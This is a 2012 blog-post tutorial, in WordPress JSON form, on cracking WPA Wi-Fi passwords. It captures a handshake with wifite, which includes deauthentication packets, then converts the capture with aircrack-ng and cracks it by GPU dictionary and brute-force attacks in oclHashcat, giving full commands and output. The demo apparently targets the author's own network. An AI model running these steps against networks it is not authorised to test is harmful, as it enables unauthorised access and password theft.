{"id":504,"date":"2012-03-24T16:45:01","date_gmt":"2012-03-24T16:45:01","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=504"},"modified":"2012-03-24T16:45:01","modified_gmt":"2012-03-24T16:45:01","slug":"cracking-wpa-4way-handshakes-with-your-gpu","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2012\/03\/24\/cracking-wpa-4way-handshakes-with-your-gpu\/","title":{"rendered":"Cracking WPA 4way handshakes with your GPU!"},"content":{"rendered":"

We need to capture the WPA 4 way handshake in order to perform an offline GPU attack. For this demo we’ll be using an Alfa AWUS036H wireless card<\/a> under Backtrack 5 R2 64bit<\/a>.<\/p>\n

\"\"<\/a>
\nNow I could go in depth about capturing the WPA handshake manually using aircrack-ng but it has been covered in full<\/a> in many places already, so instead im going to use a great python tool call wifite<\/a> that automates the cracking process (it also supports automated WEP cracking using many types of attacks).
\nTo download it it’s a simple case of using wget<\/em> \ud83d\ude42<\/p>\n

1
2
3
<\/div><\/td>
cd<\/span> \/<\/span>pentest\/<\/span>wireless\/<\/span>
\nwget<\/span> -O<\/span> wifite.py http:\/\/<\/span>wifite.googlecode.com\/<\/span>svn\/<\/span>trunk\/<\/span>wifite.py
\nchmod<\/span> +x wifite.py<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Wifite supports both command line and GUI based control, to be honest the command line use is that good I’ve never bothered with the GUI, here we’ll use the CLI.
\nThe following command tells wifite to only target the SSID “DLINK”, attempt WPA based attacks and as we’re not supplying the dictionary only the handshake will be captured and no automated cracking with pyrit will be attempted.<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<\/div><\/td>
root@<\/span>bt:\/<\/span>pentest\/<\/span>wireless# .\/wifite.py -e "DLINK" --no-wep --no-strip<\/span>
\n  .;'                     `;,    
\n .;'<\/span>  ,;'             `;,  `;,   WiFite r84
\n.;'<\/span>  ,;'  ,;'<\/span>     `<\/span>;,  `<\/span>;,  `<\/span>;,  
\n::   ::   :   (<\/span> )<\/span>   :   ::   ::  mass WEP\/<\/span>WPA cracker
\n':.  '<\/span>:.  ':. \/_\\ ,:'<\/span>  ,:'  ,:'<\/span>  
\n ':.  '<\/span>:.    \/<\/span>___\\    ,:'  ,:'<\/span>   designed for<\/span> backtrack4
\n  ':.       \/_____\\      ,:'<\/span>    
\n           \/<\/span>       \\            
\n[<\/span>+]<\/span> only scanning for<\/span> WPA-encrypted networks
\n[<\/span>+]<\/span> wpa handshake stripping disabled
\n[<\/span>+]<\/span> searching for<\/span> devices in<\/span> monitor mode...
\n[<\/span>!<\/span>]<\/span> no wireless interfaces are in<\/span> monitor mode!<\/span>
\n[<\/span>+]<\/span> select<\/span> which<\/span> device you want to put into monitor mode:
\n      1<\/span>. wlan0      Realtek RTL8187L    rtl8187 - [<\/span>phy1]<\/span>
\n[<\/span>+]<\/span> select<\/span> the wifi interface (<\/span>between 1<\/span> and 1<\/span>)<\/span>: 1<\/span>
\n[<\/span>+]<\/span> putting "wlan0"<\/span> into monitor mode...
\n[<\/span>+]<\/span> searching for<\/span> devices in<\/span> monitor mode...
\n[<\/span>+]<\/span> defaulting to interface "mon0"<\/span>
\n[<\/span>+]<\/span> waiting for<\/span> "DLINK"<\/span> to appear, press Ctrl+C to skip...                                                              
\n[<\/span>+]<\/span> found "DLINK"<\/span>, waiting 1<\/span> sec for<\/span> clients...                          
\n[<\/span>+]<\/span> in<\/span> order to crack WPA, you will need to enter a dictionary file<\/span>
\n[<\/span>+]<\/span> enter the path to the dictionary to use, or "none"<\/span> to not crack at all:
\nnone
\n[<\/span>+]<\/span> estimated maximum wait<\/span> time<\/span> is 05 minutes
\n[<\/span>+]<\/span> attacking "DLINK"<\/span>...
\n[<\/span>0<\/span>:05:00]<\/span> starting wpa handshake capture
\n[<\/span>0<\/span>:04:54<\/span>]<\/span> added new client: 60<\/span>:C5:47<\/span>:72<\/span>:A5:75<\/span>, total: 1<\/span>
\n[<\/span>0<\/span>:04:51<\/span>]<\/span> sent 3<\/span> deauth packets; handshake captured!<\/span> saved as<\/span> "hs\/DLINK.cap"<\/span>
\n[<\/span>+]<\/span> attack is complete: 1<\/span> handshake,
\nroot@<\/span>bt:\/<\/span>pentest\/<\/span>wireless#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Sucessfull \ud83d\ude42 So the part we are interested in here is the DLINK.cap file. Confirm you have the handshake inside the capture file using the following command:<\/p>\n

1
2
3
4
5
6
7
8
9
10
<\/div><\/td>
root@<\/span>bt:~\/<\/span>Desktop# aircrack-ng DLINK.cap <\/span>
\nOpening DLINK.cap
\nRead 1971<\/span> packets.
\n   #  BSSID              ESSID                     Encryption<\/span>
\n   1<\/span>  1C:AF:F7:26<\/span>:11<\/span>:AE  DLINK                     WPA (<\/span>1<\/span> handshake)<\/span>
\nChoosing first network as<\/span> target.
\nOpening DLINK.wifite.cap
\nPlease specify a dictionary (<\/span>option -w)<\/span>.
\nQuitting aircrack-ng...
\nroot@<\/span>bt:~\/<\/span>Desktop#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

So you’ve gone to all the effort to capture the 4way handshake but you want to try and crack it using your GPU instead of using rainbow tables. Using the same 4way handshake from this post we will attempt to crack it using Hashcat.<\/p>\n

First of all we need to convert the pcap file into one that hashcat can understand, aircrack v1.1 can do this and it comes preinstalled in BT5r2. (Note: BT5r1 uses an older version that doesn’t allow creation of hccap files)<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<\/div><\/td>
aircrack-ng DLINK.cap -J<\/span> DLINK
\nOpening DLINK.cap
\nRead 1971<\/span> packets.
\n   #  BSSID              ESSID                     Encryption<\/span>
\n   1<\/span>  1C:AF:F7:26<\/span>:11<\/span>:AE  DLINK                     WPA (<\/span>1<\/span> handshake)<\/span>
\nChoosing first network as<\/span> target.
\nOpening DLINK.wifite.cap
\nReading packets, please wait...
\nBuilding Hashcat (<\/span>1.00<\/span>)<\/span> file...
\n[<\/span>*<\/span>]<\/span> ESSID (<\/span>length: 5<\/span>)<\/span>: DLINK
\n[<\/span>*<\/span>]<\/span> Key version: 2<\/span>
\n[<\/span>*<\/span>]<\/span> BSSID: 1C:AF:F7:26<\/span>:11<\/span>:AE
\n[<\/span>*<\/span>]<\/span> STA: 60<\/span>:C5:47<\/span>:72<\/span>:A5:75<\/span>
\n[<\/span>*<\/span>]<\/span> anonce:
\n    CF 50<\/span> 01 03 B5 73<\/span> 08 B2 6A C2 AB 2C 07 DA 72<\/span> 52<\/span>
\n    0A C3 21<\/span> 60<\/span> D2 C6 DE 5F 05 93<\/span> 8D 08 D0 08 9A 46<\/span>
\n[<\/span>*<\/span>]<\/span> snonce:
\n    55<\/span> 41<\/span> AB EA 41<\/span> 5F F5 02 AF D2 02 D7 D2 84<\/span> 6B D8
\n    42<\/span> 77<\/span> 27<\/span> 79<\/span> 77<\/span> 96<\/span> 43<\/span> 4F 34<\/span> F7 4F 7E 08 17<\/span> 40<\/span> BA
\n[<\/span>*<\/span>]<\/span> Key MIC:
\n    0D FA B1 7E 28<\/span> BE 07 15<\/span> 86<\/span> 37<\/span> 3D 9F 2D 12<\/span> A0 18<\/span>
\n[<\/span>*<\/span>]<\/span> eapol:
\n    02 03 00 75<\/span> 02 01 0A 00 10<\/span> 00 00 00 00 00 00 00
\n    01 55<\/span> 41<\/span> AB EA 41<\/span> 5F F5 02 AF D2 02 D7 D2 84<\/span> 6B
\n    D8 42<\/span> 77<\/span> 27<\/span> 79<\/span> 77<\/span> 96<\/span> 43<\/span> 4F 34<\/span> F7 4F 7E 08 17<\/span> 40<\/span>
\n    BA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
\n    00 00 16<\/span> 30<\/span> 14<\/span> 01 00 00 0F AC 02 01 00 00 0F AC
\n    04 01 00 00 0F AC 02 0C 00
\nSuccessfully written to DLINK.hccap
\nQuitting aircrack-ng...<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Now it’s just a simple case of importing the new hccap file into hashcat. We’ll start of with a dictionary demo:<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<\/div><\/td>
$ .\/<\/span>oclHashcat-plus64.bin -m<\/span> 2500<\/span> DLINK.hccap darkc0de.lst
\noclHashcat-plus v0.07 by atom starting...
\nHashes: 1<\/span>
\nUnique salts: 1<\/span>
\nUnique digests: 1<\/span>
\nBitmaps: 8<\/span> bits, 256<\/span> entries, 0x000000ff mask, 1024<\/span> bytes
\nRules: 1<\/span>
\nGPU-Loops: 64<\/span>
\nGPU-Accel: 16<\/span>
\nPassword lengths range: 8<\/span> - 15<\/span>
\nPlatform: AMD compatible platform found
\nWatchdog: Temperature limit set<\/span> to 90c
\nDevice #1: Cayman, 2048MB, 0Mhz, 22MCU<\/span>
\nDevice #1: Allocating 26MB host-memory<\/span>
\nDevice #1: Kernel .\/kernels\/4098\/m2500.Cayman.64.kernel (1483607 bytes)<\/span>
\nScanning dictionary darkc0de.lst: 1047587<\/span> bytes (<\/span>5.83<\/span>%<\/span>)<\/span>, 95782<\/span> words,
\nScanned dictionary darkc0de.lst: 17975873<\/span> bytes, 1707659<\/span> words, 1707633<\/span> keyspace,
\nstarting attack...
\nDLINK:mysecret
\nStatus.......: Cracked
\nInput.Mode...: File (<\/span>darkc0de.lst)<\/span>
\nHash.Target..: DLINK
\nHash.Type....: WPA\/<\/span>WPA2
\nTime.Running.: 13<\/span> secs
\nTime.Util....: 13198.3ms\/<\/span>189.8ms Real\/<\/span>CPU, 1.5<\/span>%<\/span> idle
\nSpeed........:    67528<\/span> c\/<\/span>s Real,    67776<\/span> c\/<\/span>s GPU
\nRecovered....: 1<\/span>\/<\/span>1<\/span> Digests, 1<\/span>\/<\/span>1<\/span> Salts
\nProgress.....: 1507780<\/span>\/<\/span>1707633<\/span> (<\/span>88.30<\/span>%<\/span>)<\/span>
\nRejected.....: 616522<\/span>\/<\/span>1507780<\/span> (<\/span>40.89<\/span>%<\/span>)<\/span>
\nHW.Monitor.#<\/span>1<\/span>: 89<\/span>%<\/span> GPU, 56c Temp
\nStarted: Fri Mar 23<\/span> 18<\/span>:46<\/span>:36<\/span> 2012<\/span>
\nStopped: Fri Mar 23<\/span> 18<\/span>:46<\/span>:49<\/span> 2012<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

And now a bruteforce demo using an 8char lowercase password:<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<\/div><\/td>
$ .\/<\/span>oclHashcat-plus64.bin -a<\/span> 3<\/span> -m<\/span> 2500<\/span> DLINK.hccap ?l?l?l?l?l?l?l?l
\noclHashcat-plus v0.07 by atom starting...
\nHashes: 1<\/span>
\nUnique salts: 1<\/span>
\nUnique digests: 1<\/span>
\nBitmaps: 8<\/span> bits, 256<\/span> entries, 0x000000ff mask, 1024<\/span> bytes
\nGPU-Loops: 64<\/span>
\nGPU-Accel: 16<\/span>
\nPassword lengths range: 8<\/span> - 15<\/span>
\nPlatform: AMD compatible platform found
\nWatchdog: Temperature limit set<\/span> to 90c
\nDevice #1: Cayman, 2048MB, 0Mhz, 22MCU<\/span>
\nDevice #1: Allocating 26MB host-memory<\/span>
\nDevice #1: Kernel .\/kernels\/4098\/m2500.Cayman.64.kernel (1483607 bytes)<\/span>
\nStatus.......: Aborted
\nInput.Mode...: Mask (<\/span>?l?l?l?l?l?l?l?l)<\/span>
\nHash.Target..: DLINK
\nHash.Type....: WPA\/<\/span>WPA2
\nTime.Running.: 6<\/span> secs
\nTime.Left....: 36<\/span> days, 14<\/span> hours
\nTime.Util....: 6108.4ms\/<\/span>87.0ms Real\/<\/span>CPU, 1.4<\/span>%<\/span> idle
\nSpeed........:    66385<\/span> c\/<\/span>s Real,    74004<\/span> c\/<\/span>s GPU
\nRecovered....: 0<\/span>\/<\/span>1<\/span> Digests, 0<\/span>\/<\/span>1<\/span> Salts
\nProgress.....: 405504<\/span>\/<\/span>208827064576<\/span> (<\/span>0.00<\/span>%<\/span>)<\/span>
\nRejected.....: 0<\/span>\/<\/span>405504<\/span> (<\/span>0.00<\/span>%<\/span>)<\/span>
\nHW.Monitor.#<\/span>1<\/span>: 90<\/span>%<\/span> GPU, 58c Temp
\nStarted: Fri Mar 23<\/span> 18<\/span>:40<\/span>:25<\/span> 2012<\/span>
\nStopped: Fri Mar 23<\/span> 18<\/span>:40<\/span>:31<\/span> 2012<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Ouch, that’s going to take ages, 36days, no thanks! To save time in the testing I’ve limited that char set chacraters to c, e, m, r, s, t & y as we know the password already and I dont like the sound of leaving it running that long and burning out my GPU!<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<\/div><\/td>
$ .\/<\/span>oclHashcat-plus64.bin -a<\/span> 3<\/span> -m<\/span> 2500<\/span> DLINK.hccap -1<\/span> cemrsty ?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>
\noclHashcat-plus v0.07 by atom starting...
\nHashes: 1<\/span>
\nUnique salts: 1<\/span>
\nUnique digests: 1<\/span>
\nBitmaps: 8<\/span> bits, 256<\/span> entries, 0x000000ff mask, 1024<\/span> bytes
\nGPU-Loops: 64<\/span>
\nGPU-Accel: 16<\/span>
\nPassword lengths range: 8<\/span> - 15<\/span>
\nPlatform: AMD compatible platform found
\nWatchdog: Temperature limit set<\/span> to 90c
\nDevice #1: Cayman, 2048MB, 0Mhz, 22MCU<\/span>
\nDevice #1: Allocating 26MB host-memory<\/span>
\nDevice #1: Kernel .\/kernels\/4098\/m2500.Cayman.64.kernel (1483607 bytes)<\/span>
\nDLINK:mysecret
\nStatus.......: Cracked
\nInput.Mode...: Mask (<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>?1<\/span>)<\/span>
\nHash.Target..: DLINK
\nHash.Type....: WPA\/<\/span>WPA2
\nTime.Running.: 1<\/span> min, 1<\/span> sec
\nTime.Util....: 61012.9ms\/<\/span>1027.7ms Real\/<\/span>CPU, 1.7<\/span>%<\/span> idle
\nSpeed........:    70893<\/span> c\/<\/span>s Real,    73327<\/span> c\/<\/span>s GPU
\nRecovered....: 1<\/span>\/<\/span>1<\/span> Digests, 1<\/span>\/<\/span>1<\/span> Salts
\nProgress.....: 4325376<\/span>\/<\/span>5764801<\/span> (<\/span>75.03<\/span>%<\/span>)<\/span>
\nRejected.....: 0<\/span>\/<\/span>4325376<\/span> (<\/span>0.00<\/span>%<\/span>)<\/span>
\nHW.Monitor.#<\/span>1<\/span>: 84<\/span>%<\/span> GPU, 73c Temp
\nStarted: Fri Mar 23<\/span> 18<\/span>:37<\/span>:12<\/span> 2012<\/span>
\nStopped: Fri Mar 23<\/span> 18<\/span>:38<\/span>:14<\/span> 2012<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Bingo, brute forcing worked (albeit with a rather restricted character set!)<\/p>\n","protected":false},"excerpt":{"rendered":"

We need to capture the WPA 4 way handshake in order to perform an offline GPU attack. For this demo we’ll be using an Alfa AWUS036H wireless card under Backtrack 5 R2 64bit. Now I could go in depth about capturing the WPA handshake manually using aircrack-ng but it has been covered in full in […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[28,194,182,187,186,196,195,23,35],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/504"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=504"}],"version-history":[{"count":4,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/504\/revisions"}],"predecessor-version":[{"id":508,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/504\/revisions\/508"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=504"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=504"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=504"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}